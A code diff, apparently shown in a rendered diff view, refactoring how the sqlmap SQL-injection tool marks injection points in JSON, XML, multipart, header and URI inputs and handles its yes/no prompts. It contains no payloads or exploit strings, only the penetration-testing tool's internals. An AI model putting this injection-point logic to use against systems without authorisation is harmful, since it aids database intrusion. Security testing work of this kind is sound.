|
if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
|
||||||
message = "custom injection marking character ('%s') found in option " % CUSTOM_INJECTION_MARK_CHAR
|
message = "custom injection marker ('%s') found in option " % kb.customInjectionMark
|
||||||
message += "'--data'. Do you want to process it? [Y/n/q] "
|
message += "'--data'. Do you want to process it? [Y/n/q] "
|
||||||
test = readInput(message, default="Y")
|
choice = readInput(message, default='Y').upper()
|
||||||
if test and test[0] in ("q", "Q"):
|
|
||||||
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
else:
|
else:
|
||||||
kb.processUserMarks = not test or test[0] not in ("n", "N")
|
kb.processUserMarks = choice == 'Y'
|
||||||
|
|
||||||
if kb.processUserMarks:
|
if kb.processUserMarks:
|
||||||
kb.testOnlyCustom = True
|
kb.testOnlyCustom = True
|
||||||
|
|
||||||
if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data):
|
if re.search(JSON_RECOGNITION_REGEX, conf.data):
|
||||||
if re.search(JSON_RECOGNITION_REGEX, conf.data):
|
message = "JSON data found in %s data. " % conf.method
|
||||||
message = "JSON data found in %s data. " % conf.method
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
choice = readInput(message, default='Y').upper()
|
||||||
test = readInput(message, default="Y")
|
|
||||||
if test and test[0] in ("q", "Q"):
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif test[0] not in ("n", "N"):
|
elif choice == 'Y':
|
||||||
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]*)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
|
||||||
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
|
||||||
|
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
|
||||||
match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
|
match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
|
||||||
if match and not (conf.testParameter and match.group("name") not in conf.testParameter):
|
if match and not (conf.testParameter and match.group("name") not in conf.testParameter):
|
||||||
_ = match.group(2)
|
_ = match.group(2)
|
||||||
_ = re.sub(r'("[^"]+)"', '\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR, _)
|
_ = re.sub(r'("[^"]+)"', '\g<1>%s"' % kb.customInjectionMark, _)
|
||||||
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR, _)
|
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % kb.customInjectionMark, _)
|
||||||
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
|
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
|
||||||
kb.postHint = POST_HINT.JSON
|
|
||||||
|
|
||||||
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
kb.postHint = POST_HINT.JSON
|
||||||
message = "JSON-like data found in %s data. " % conf.method
|
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
||||||
test = readInput(message, default="Y")
|
message = "JSON-like data found in %s data. " % conf.method
|
||||||
if test and test[0] in ("q", "Q"):
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
raise SqlmapUserQuitException
|
choice = readInput(message, default='Y').upper()
|
||||||
elif test[0] not in ("n", "N"):
|
|
||||||
|
if choice == 'Q':
|
||||||
|
raise SqlmapUserQuitException
|
||||||
|
elif choice == 'Y':
|
||||||
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
|
||||||
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
|
||||||
kb.postHint = POST_HINT.JSON_LIKE
|
|
||||||
|
|
||||||
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
kb.postHint = POST_HINT.JSON_LIKE
|
||||||
message = "Array-like data found in %s data. " % conf.method
|
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
|
||||||
test = readInput(message, default="Y")
|
|
||||||
if test and test[0] in ("q", "Q"):
|
|
||||||
raise SqlmapUserQuitException
|
|
||||||
elif test[0] not in ("n", "N"):
|
|
||||||
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
|
||||||
conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % CUSTOM_INJECTION_MARK_CHAR, conf.data)
|
|
||||||
kb.postHint = POST_HINT.ARRAY_LIKE
|
|
||||||
|
|
||||||
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
||||||
message = "SOAP/XML data found in %s data. " % conf.method
|
message = "Array-like data found in %s data. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
test = readInput(message, default="Y")
|
choice = readInput(message, default='Y').upper()
|
||||||
if test and test[0] in ("q", "Q"):
|
|
||||||
raise SqlmapUserQuitException
|
if choice == 'Q':
|
||||||
elif test[0] not in ("n", "N"):
|
raise SqlmapUserQuitException
|
||||||
|
elif choice == 'Y':
|
||||||
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
|
conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data)
|
||||||
|
|
||||||
|
kb.postHint = POST_HINT.ARRAY_LIKE
|
||||||
|
|
||||||
|
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
||||||
|
message = "SOAP/XML data found in %s data. " % conf.method
|
||||||
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
|
if choice == 'Q':
|
||||||
|
raise SqlmapUserQuitException
|
||||||
|
elif choice == 'Y':
|
||||||
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % kb.customInjectionMark), conf.data)
|
||||||
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
|
||||||
|
|
||||||
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
||||||
message = "Multipart-like data found in %s data. " % conf.method
|
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
||||||
test = readInput(message, default="Y")
|
message = "Multipart-like data found in %s data. " % conf.method
|
||||||
if test and test[0] in ("q", "Q"):
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
raise SqlmapUserQuitException
|
choice = readInput(message, default='Y').upper()
|
||||||
elif test[0] not in ("n", "N"):
|
|
||||||
|
if choice == 'Q':
|
||||||
|
raise SqlmapUserQuitException
|
||||||
|
elif choice == 'Y':
|
||||||
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P<name>[^\n]+?)[\"']).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
|
||||||
kb.postHint = POST_HINT.MULTIPART
|
|
||||||
|
kb.postHint = POST_HINT.MULTIPART
|
||||||
|
|
||||||
if not kb.postHint:
|
if not kb.postHint:
|
||||||
if CUSTOM_INJECTION_MARK_CHAR in conf.data: # later processed
|
if kb.customInjectionMark in conf.data: # later processed
|
||||||
pass
|
pass
|
||||||
else:
|
else:
|
||||||
place = PLACE.POST
|
place = PLACE.POST
|
||||||
@@ -208,12 +226,12 @@ def _setRequestParams():
|
|||||||
conf.paramDict[place] = paramDict
|
conf.paramDict[place] = paramDict
|
||||||
testableParameters = True
|
testableParameters = True
|
||||||
else:
|
else:
|
||||||
if CUSTOM_INJECTION_MARK_CHAR not in conf.data: # in case that no usable parameter values has been found
|
if kb.customInjectionMark not in conf.data: # in case that no usable parameter values has been found
|
||||||
conf.parameters[PLACE.POST] = conf.data
|
conf.parameters[PLACE.POST] = conf.data
|
||||||
|
|
||||||
kb.processUserMarks = True if (kb.postHint and CUSTOM_INJECTION_MARK_CHAR in conf.data) else kb.processUserMarks
|
kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks
|
||||||
|
|
||||||
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not CUSTOM_INJECTION_MARK_CHAR in (conf.data or "") and conf.url.startswith("http"):
|
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not kb.customInjectionMark in (conf.data or "") and conf.url.startswith("http"):
|
||||||
warnMsg = "you've provided target URL without any GET "
|
warnMsg = "you've provided target URL without any GET "
|
||||||
warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
|
warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
|
||||||
warnMsg += "and without providing any POST parameters "
|
warnMsg += "and without providing any POST parameters "
|
||||||
@@ -222,31 +240,32 @@ def _setRequestParams():
|
|||||||
|
|
||||||
message = "do you want to try URI injections "
|
message = "do you want to try URI injections "
|
||||||
message += "in the target URL itself? [Y/n/q] "
|
message += "in the target URL itself? [Y/n/q] "
|
||||||
test = readInput(message, default="Y")
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
if test and test[0] in ("q", "Q"):
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif not test or test[0] not in ("n", "N"):
|
elif choice == 'Y':
|
||||||
conf.url = "%s%s" % (conf.url, CUSTOM_INJECTION_MARK_CHAR)
|
conf.url = "%s%s" % (conf.url, kb.customInjectionMark)
|
||||||
kb.processUserMarks = True
|
kb.processUserMarks = True
|
||||||
|
|
||||||
for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
|
for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
|
||||||
_ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or ""
|
_ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or ""
|
||||||
if CUSTOM_INJECTION_MARK_CHAR in _:
|
if kb.customInjectionMark in _:
|
||||||
if kb.processUserMarks is None:
|
if kb.processUserMarks is None:
|
||||||
lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'}
|
lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'}
|
||||||
message = "custom injection marking character ('%s') found in option " % CUSTOM_INJECTION_MARK_CHAR
|
message = "custom injection marker ('%s') found in option " % kb.customInjectionMark
|
||||||
message += "'%s'. Do you want to process it? [Y/n/q] " % lut[place]
|
message += "'%s'. Do you want to process it? [Y/n/q] " % lut[place]
|
||||||
test = readInput(message, default="Y")
|
choice = readInput(message, default='Y').upper()
|
||||||
if test and test[0] in ("q", "Q"):
|
|
||||||
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
else:
|
else:
|
||||||
kb.processUserMarks = not test or test[0] not in ("n", "N")
|
kb.processUserMarks = choice == 'Y'
|
||||||
|
|
||||||
if kb.processUserMarks:
|
if kb.processUserMarks:
|
||||||
kb.testOnlyCustom = True
|
kb.testOnlyCustom = True
|
||||||
|
|
||||||
if "=%s" % CUSTOM_INJECTION_MARK_CHAR in _:
|
if "=%s" % kb.customInjectionMark in _:
|
||||||
warnMsg = "it seems that you've provided empty parameter value(s) "
|
warnMsg = "it seems that you've provided empty parameter value(s) "
|
||||||
warnMsg += "for testing. Please, always use only valid parameter values "
|
warnMsg += "for testing. Please, always use only valid parameter values "
|
||||||
warnMsg += "so sqlmap could be able to run properly"
|
warnMsg += "so sqlmap could be able to run properly"
|
||||||
@@ -278,13 +297,13 @@ def _setRequestParams():
|
|||||||
if place == PLACE.CUSTOM_HEADER:
|
if place == PLACE.CUSTOM_HEADER:
|
||||||
for index in xrange(len(conf.httpHeaders)):
|
for index in xrange(len(conf.httpHeaders)):
|
||||||
header, value = conf.httpHeaders[index]
|
header, value = conf.httpHeaders[index]
|
||||||
if CUSTOM_INJECTION_MARK_CHAR in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value):
|
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value):
|
||||||
parts = value.split(CUSTOM_INJECTION_MARK_CHAR)
|
parts = value.split(kb.customInjectionMark)
|
||||||
for i in xrange(len(parts) - 1):
|
for i in xrange(len(parts) - 1):
|
||||||
conf.paramDict[place]["%s #%d%s" % (header, i + 1, CUSTOM_INJECTION_MARK_CHAR)] = "%s,%s" % (header, "".join("%s%s" % (parts[j], CUSTOM_INJECTION_MARK_CHAR if i == j else "") for j in xrange(len(parts))))
|
conf.paramDict[place]["%s #%d%s" % (header, i + 1, kb.customInjectionMark)] = "%s,%s" % (header, "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts))))
|
||||||
conf.httpHeaders[index] = (header, value.replace(CUSTOM_INJECTION_MARK_CHAR, ""))
|
conf.httpHeaders[index] = (header, value.replace(kb.customInjectionMark, ""))
|
||||||
else:
|
else:
|
||||||
parts = value.split(CUSTOM_INJECTION_MARK_CHAR)
|
parts = value.split(kb.customInjectionMark)
|
||||||
|
|
||||||
for i in xrange(len(parts) - 1):
|
for i in xrange(len(parts) - 1):
|
||||||
name = None
|
name = None
|
||||||
@@ -294,8 +313,8 @@ def _setRequestParams():
|
|||||||
name = "%s %s" % (kb.postHint, _)
|
name = "%s %s" % (kb.postHint, _)
|
||||||
break
|
break
|
||||||
if name is None:
|
if name is None:
|
||||||
name = "%s#%s%s" % (("%s " % kb.postHint) if kb.postHint else "", i + 1, CUSTOM_INJECTION_MARK_CHAR)
|
name = "%s#%s%s" % (("%s " % kb.postHint) if kb.postHint else "", i + 1, kb.customInjectionMark)
|
||||||
conf.paramDict[place][name] = "".join("%s%s" % (parts[j], CUSTOM_INJECTION_MARK_CHAR if i == j else "") for j in xrange(len(parts)))
|
conf.paramDict[place][name] = "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts)))
|
||||||
|
|
||||||
if place == PLACE.URI and PLACE.GET in conf.paramDict:
|
if place == PLACE.URI and PLACE.GET in conf.paramDict:
|
||||||
del conf.paramDict[PLACE.GET]
|
del conf.paramDict[PLACE.GET]
|
||||||
@@ -307,7 +326,7 @@ def _setRequestParams():
|
|||||||
if kb.processUserMarks:
|
if kb.processUserMarks:
|
||||||
for item in ("url", "data", "agent", "referer", "cookie"):
|
for item in ("url", "data", "agent", "referer", "cookie"):
|
||||||
if conf.get(item):
|
if conf.get(item):
|
||||||
conf[item] = conf[item].replace(CUSTOM_INJECTION_MARK_CHAR, "")
|
conf[item] = conf[item].replace(kb.customInjectionMark, "")
|
||||||
|
|
||||||
# Perform checks on Cookie parameters
|
# Perform checks on Cookie parameters
|
||||||
if conf.cookie:
|
if conf.cookie:
|
||||||
@@ -356,8 +375,8 @@ def _setRequestParams():
|
|||||||
|
|
||||||
if condition:
|
if condition:
|
||||||
conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
|
conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
|
||||||
conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, CUSTOM_INJECTION_MARK_CHAR)}
|
conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)}
|
||||||
conf.httpHeaders = [(header, value.replace(CUSTOM_INJECTION_MARK_CHAR, "")) for header, value in conf.httpHeaders]
|
conf.httpHeaders = [(header, value.replace(kb.customInjectionMark, "")) for header, value in conf.httpHeaders]
|
||||||
testableParameters = True
|
testableParameters = True
|
||||||
|
|
||||||
if not conf.parameters:
|
if not conf.parameters:
|
||||||
@@ -381,9 +400,9 @@ def _setRequestParams():
|
|||||||
if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES):
|
if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES):
|
||||||
message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter)
|
message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter)
|
||||||
message += "Do you want sqlmap to automatically update it in further requests? [y/N] "
|
message += "Do you want sqlmap to automatically update it in further requests? [y/N] "
|
||||||
test = readInput(message, default="N")
|
|
||||||
if test and test[0] in ("y", "Y"):
|
if readInput(message, default='N', boolean=True):
|
||||||
conf.csrfToken = parameter
|
conf.csrfToken = getUnicode(parameter)
|
||||||
break
|
break
|
||||||
|
|
||||||
def _setHashDB():
|
def _setHashDB():
|
||||||
@@ -418,7 +437,7 @@ def _resumeHashDBValues():
|
|||||||
kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable
|
kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable
|
||||||
|
|
||||||
kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH)
|
kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH)
|
||||||
if kb.errorChunkLength and kb.errorChunkLength.isdigit():
|
if isNumPosStrValue(kb.errorChunkLength):
|
||||||
kb.errorChunkLength = int(kb.errorChunkLength)
|
kb.errorChunkLength = int(kb.errorChunkLength)
|
||||||
else:
|
else:
|
||||||
kb.errorChunkLength = None
|
kb.errorChunkLength = None
|
||||||
@@ -431,7 +450,7 @@ def _resumeHashDBValues():
|
|||||||
|
|
||||||
if not conf.tech or intersect(conf.tech, injection.data.keys()):
|
if not conf.tech or intersect(conf.tech, injection.data.keys()):
|
||||||
if intersect(conf.tech, injection.data.keys()):
|
if intersect(conf.tech, injection.data.keys()):
|
||||||
injection.data = dict(filter(lambda (key, item): key in conf.tech, injection.data.items()))
|
injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech)
|
||||||
|
|
||||||
if injection not in kb.injections:
|
if injection not in kb.injections:
|
||||||
kb.injections.append(injection)
|
kb.injections.append(injection)
|
||||||
@@ -471,9 +490,8 @@ def _resumeDBMS():
|
|||||||
message += "sqlmap assumes the back-end DBMS is '%s'. " % dbms
|
message += "sqlmap assumes the back-end DBMS is '%s'. " % dbms
|
||||||
message += "Do you really want to force the back-end "
|
message += "Do you really want to force the back-end "
|
||||||
message += "DBMS value? [y/N] "
|
message += "DBMS value? [y/N] "
|
||||||
test = readInput(message, default="N")
|
|
||||||
|
|
||||||
if not test or test[0] in ("n", "N"):
|
if not readInput(message, default='N', boolean=True):
|
||||||
conf.dbms = None
|
conf.dbms = None
|
||||||
Backend.setDbms(dbms)
|
Backend.setDbms(dbms)
|
||||||
Backend.setVersionList(dbmsVersion)
|
Backend.setVersionList(dbmsVersion)
|
||||||
@@ -507,9 +525,8 @@ def _resumeOS():
|
|||||||
message += "operating system is %s. " % os
|
message += "operating system is %s. " % os
|
||||||
message += "Do you really want to force the back-end DBMS "
|
message += "Do you really want to force the back-end DBMS "
|
||||||
message += "OS value? [y/N] "
|
message += "OS value? [y/N] "
|
||||||
test = readInput(message, default="N")
|
|
||||||
|
|
||||||
if not test or test[0] in ("n", "N"):
|
if not readInput(message, default='N', boolean=True):
|
||||||
conf.os = os
|
conf.os = os
|
||||||
else:
|
else:
|
||||||
conf.os = os
|
conf.os = os
|
||||||
@@ -532,7 +549,8 @@ def _setResultsFile():
|
|||||||
except (OSError, IOError), ex:
|
except (OSError, IOError), ex:
|
||||||
try:
|
try:
|
||||||
warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
|
warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
|
||||||
conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")[1]
|
handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
|
||||||
|
os.close(handle)
|
||||||
conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
|
conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
|
||||||
warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
|
warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
@@ -630,30 +648,31 @@ def _createTargetDirs():
|
|||||||
|
|
||||||
conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname)))
|
conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname)))
|
||||||
|
|
||||||
if not os.path.isdir(conf.outputPath):
|
try:
|
||||||
try:
|
if not os.path.isdir(conf.outputPath):
|
||||||
os.makedirs(conf.outputPath, 0755)
|
os.makedirs(conf.outputPath, 0755)
|
||||||
except (OSError, IOError), ex:
|
except (OSError, IOError, TypeError), ex:
|
||||||
try:
|
try:
|
||||||
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
|
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
|
||||||
except Exception, _:
|
except Exception, _:
|
||||||
errMsg = "unable to write to the temporary directory ('%s'). " % _
|
errMsg = "unable to write to the temporary directory ('%s'). " % _
|
||||||
errMsg += "Please make sure that your disk is not full and "
|
errMsg += "Please make sure that your disk is not full and "
|
||||||
errMsg += "that you have sufficient write permissions to "
|
errMsg += "that you have sufficient write permissions to "
|
||||||
errMsg += "create temporary files and/or directories"
|
errMsg += "create temporary files and/or directories"
|
||||||
raise SqlmapSystemException(errMsg)
|
raise SqlmapSystemException(errMsg)
|
||||||
|
|
||||||
warnMsg = "unable to create output directory "
|
warnMsg = "unable to create output directory "
|
||||||
warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex))
|
warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex))
|
||||||
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
|
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
conf.outputPath = tempDir
|
conf.outputPath = tempDir
|
||||||
|
|
||||||
try:
|
try:
|
||||||
with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f:
|
with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f:
|
||||||
f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)
|
f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)
|
||||||
f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET))
|
f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET))
|
||||||
|
f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding))
|
||||||
if conf.data:
|
if conf.data:
|
||||||
f.write("\n\n%s" % getUnicode(conf.data))
|
f.write("\n\n%s" % getUnicode(conf.data))
|
||||||
except IOError, ex:
|
except IOError, ex:
|
||||||
|
|||||||
+7
-8
@@ -11,8 +11,6 @@ import threading
|
|||||||
import time
|
import time
|
||||||
import traceback
|
import traceback
|
||||||
|
|
||||||
from thread import error as ThreadError
|
|
||||||
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -47,6 +45,7 @@ class _ThreadData(threading.local):
|
|||||||
self.lastComparisonPage = None
|
self.lastComparisonPage = None
|
||||||
self.lastComparisonHeaders = None
|
self.lastComparisonHeaders = None
|
||||||
self.lastComparisonCode = None
|
self.lastComparisonCode = None
|
||||||
|
self.lastComparisonRatio = None
|
||||||
self.lastErrorPage = None
|
self.lastErrorPage = None
|
||||||
self.lastHTTPError = None
|
self.lastHTTPError = None
|
||||||
self.lastRedirectMsg = None
|
self.lastRedirectMsg = None
|
||||||
@@ -68,7 +67,7 @@ ThreadData = _ThreadData()
|
|||||||
def getCurrentThreadUID():
|
def getCurrentThreadUID():
|
||||||
return hash(threading.currentThread())
|
return hash(threading.currentThread())
|
||||||
|
|
||||||
def readInput(message, default=None):
|
def readInput(message, default=None, checkBatch=True, boolean=False):
|
||||||
# It will be overwritten by original from lib.core.common
|
# It will be overwritten by original from lib.core.common
|
||||||
pass
|
pass
|
||||||
|
|
||||||
@@ -88,7 +87,7 @@ def getCurrentThreadName():
|
|||||||
|
|
||||||
return threading.current_thread().getName()
|
return threading.current_thread().getName()
|
||||||
|
|
||||||
def exceptionHandledFunction(threadFunction):
|
def exceptionHandledFunction(threadFunction, silent=False):
|
||||||
try:
|
try:
|
||||||
threadFunction()
|
threadFunction()
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
